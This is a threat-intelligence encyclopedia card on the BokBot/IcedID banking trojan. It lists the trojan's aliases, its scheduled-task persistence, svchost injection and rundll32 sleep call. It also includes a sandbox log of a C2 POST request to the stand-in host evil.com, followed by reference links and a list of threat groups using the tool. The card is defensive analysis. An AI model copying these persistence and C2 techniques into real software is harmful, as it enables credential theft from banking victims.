Threat Group Cards: A Threat Actor Encyclopedia

Archived: 2026-04-05 20:40:32 UTC

Tool: BokBot

Names	BokBot IcedID IceID
Category	Malware
Type	Banking trojan
Description	Analysis Observations: • It sets up persistence by creating a Scheduled Task with the following characteristics: • Name: Update • Trigger: At Log on • Action: %LocalAppData%\$Example\\waroupada.exe /i • Conditions: Stop if the computer ceases to be idle. • The sub-directory within %LocalAppdata%, Appears to be randomly picked from the list of directories within %ProgramFiles%. This needs more verification. • The filename remained static during analysis. • The original malware exe (ex. waroupada.exe) will spawn an instance of svchost.exe as a sub-process and then inject/execute its malicious code within it • If “/i” is not passed as an argument, it sets up persistence and waits for reboot. • If “/I” is passed as an argument (as is the case when the scheduled task is triggered at login), it skips persistence setup and actually executes; resulting in C2 communication. • Employs an interesting method for sleeping by calling the Sleep function of kernel32.dll from the shell, like so: rundll32.exe kernel32,Sleep -s • Setup a local listener to proxy traffic on 127.0.0.1:50000 **[Example Log from C2 Network Communication]** [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] connect [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: POST /forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11 HTTP/1.1 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv:

	Connection: close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Type: application/x-www-form-urlencoded [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Content-Length: 196 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: Host: evil.com [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] recv: <(POSTDATA)> [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: POST data stored to: /var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: **Request URL: hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending fake file configured for extension 'php'. [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: HTTP/1.1 200 OK [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Type: text/html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Server: INetSim HTTPs Server [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Date: Mon, 19 Mar 2018 16:45:55 GMT [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Connection: Close [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] send: Content-Length: 258 [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] info: Sending file: /var/lib/inetsim/http/fakefiles/sample.html [2018-03-19 12:45:55] [42078] [https_443_tcp 44785] [172.16.0.130:54803] stat: 1 **method=POST url=hxxps://evil.com/forum/posting.php?a=0&b=4FC0302F4C59D8CDB8&d=0&e=63&f=0&g=0&h=0&r=0&i=266390&j=11** sent=/var/lib/inetsim/http/fakefiles/sample.html postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2
Information	<https://www.crowdstrike.com/blog/bokbots-man-in-the-browser-overview/> <https://securityintelligence.com/new-banking-trojan-icedid-discovered-by-ibm-x-force-research/> <https://securityintelligence.com/posts/breaking-the-ice-a-deep-dive-into-the-icedid-banking-trojans-new-major-version-release/>

	<https://blog.talosintelligence.com/2018/04/icedid-banking-trojan.html> <https://digitalguardian.com/blog/iceid-banking-trojan-targeting-banks-payment-card-providers-e-commerce-sites> <https://www.fidelissecurity.com/threatgeek/2017/11/tracking-emotet-payload-icedid> <https://securityintelligence.com/icedid-operators-using-atsengine-injection-panel-to-hit-e-commerce-sites/> <https://www.crowdstrike.com/blog/digging-into-bokbots-core-module/> <https://www.vkremez.com/2018/09/lets-learn-deeper-dive-into.html> <http://www.intezer.com/icedid-banking-trojan-shares-code-pony-2-0-trojan/> <https://blog.fox-it.com/2018/08/09/bokbot-the-rebirth-of-a-banker/> <https://blogs.juniper.net/en-us/threat-research/covid-19-and-fmla-campaigns-used-to-install-new-icedid-banking-malware> <https://blogs.juniper.net/en-us/threat-research/iceid-campaign-strikes-back> <https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/> <https://www.fortinet.com/blog/threat-research/spoofed-invoice-drops-iced-id> <https://www.cybereason.com/blog/threat-analysis-from-icedid-to-domain-compromise>
Malpedia	<https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid>
AlienVault OTX	<https://otx.alienvault.com/browse/pulses?q=tag:BokBot>

Last change to this tool card: 15 February 2023

Download this tool card in JSON format

All groups using tool BokBot

Changed	Name	Country	Observed	
APT groups				
	TA2101, Maze Team	[Unknown]	2019-Feb 2024	
Other groups				
	Lunar Spider		2019	
	TA551, Shathak		2016-Jan 2021	

3 groups listed (1 APT, 2 other, 0 unknown)